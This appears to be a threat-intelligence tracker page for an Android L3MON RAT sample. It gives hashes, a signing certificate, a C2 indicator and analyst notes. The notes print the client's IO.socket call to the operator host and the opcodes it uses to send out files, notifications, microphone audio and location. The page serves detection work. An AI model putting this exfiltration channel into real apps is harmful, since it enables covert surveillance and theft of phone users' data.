ACTAndroid C2 Tracker

2e3ab00cea123034e4f821fe…

sample

Tracked by C2 Tracker · indicators & metadata only, the APK itself is never published

Analyst notes

L3MON RAT. L3MON is an open-source Android remote-administration tool (RAT) with a web panel; the client (com.etechd.l3mon) connects to its operator over socket.io and streams back data. On launch IOSocket opens IO.socket("http://<host>:<port>?model=..&manf=..&release=..&id=<deviceID>"), and the feature managers emit exfil over that socket using short opcodes: 0xFI (file manager), 0xNO (notifications), 0xMI (microphone), 0xLO (location), etc. Capabilities include SMS, call logs, contacts, location, mic recording, file browsing and clipboard. Provisional tag reflects per-sample triage. Indicators: http://192.168.1.2:22222.

Recovered configuration

actor_link
Signing cert a40da80a59d170ca... (actor also ships VeyoTV Loader, WebSocket VNC Banker).
source_to_sink
com.etechd.l3mon.IOSocket: IO.socket('http://192.168.1.2:22222?model=..&manf=..&id=deviceID') socket.io C2; managers emit exfil over it (FileManager 0xFI, NotificationListener 0xNO, MicManager 0xMI, LocManager 0xLO).

Identification

SHA-256
2e3ab00cea123034e4f821fe9a5fbe56964eccecb58e064fe458eac2182de638
MD5
1905a10604cc807e9d2fb1e38e07ce26

Observed

Families
L3MON RAT
First seen
2026-10-13

C2 configuration (1)

Every indicator extracted from this sample. One row per C2 - each links to its indicator page with Whois, DNS and certificate pivots.

IndicatorTypePortSchemeFamilyFirst seen
192.168.1.2 ip 22222 http L3MON RAT 2026-10-13

Signing certificate

Subject CN
Android
Issuer CN
-
Fingerprint
a40da80a59d170caa950cf15c18c454d47a39b26989d8b640ecd745ba71bf5dc

Relationships

Sample → C2 indicators, signing certificate (with every other sample signed by it) and family. Click a node for details, double-click to open its page.

Click a node to inspect it.

About L3MON RAT

**L3MON** is an open-source Android remote-administration tool (RAT) with a web panel; the client (`com.etechd.l3mon`) connects to its operator over **socket.io** and streams back data. On launch `IOSocket` opens `IO.socket("http://<host>:<port>?model=..&manf=..&release=..&id=<deviceID>")`, and the feature managers `emit` exfil over that socket using short opcodes: `0xFI` (file manager), `0xNO` (notifications), `0xMI` (microphone), `0xLO` (location), etc. Capabilities include SMS, call logs, contacts, location, mic recording, file browsing and clipboard. Provisional tag reflects per-sample triage.

L3MON (GitHub)